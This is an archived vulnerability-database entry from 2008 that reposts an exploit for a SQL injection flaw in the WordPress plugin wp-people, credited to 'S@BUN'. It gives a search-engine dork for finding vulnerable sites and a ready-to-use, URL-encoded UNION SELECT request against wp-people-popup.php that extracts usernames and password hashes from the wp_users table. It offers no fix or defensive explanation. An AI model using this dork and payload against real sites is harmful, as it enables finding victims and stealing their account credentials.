Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19172
HistoryFeb 18, 2008 - 12:00 a.m.

Wordpress Plugin (wp-people) SQL Injection

2008-02-1800:00:00
vulners.com
25

#########################################################################

Wordpress Plugin (wp-people) SQL Injection

#########################################################################

AUTHOR : S@BUN

HOME : http://www.hackturkiye.com/

#########################################################################

DORKS 1 : allinurl :"allinurl: "wp-people""

##########################################################################
EXPLOIT :

wp-content/plugins/wp-people/wp-people-popup.php?person=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cuser_pass%2Cuser_login%2C3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users

##########################################################################

S@BUN GOOD LUCKY S@BUN

##########################################################################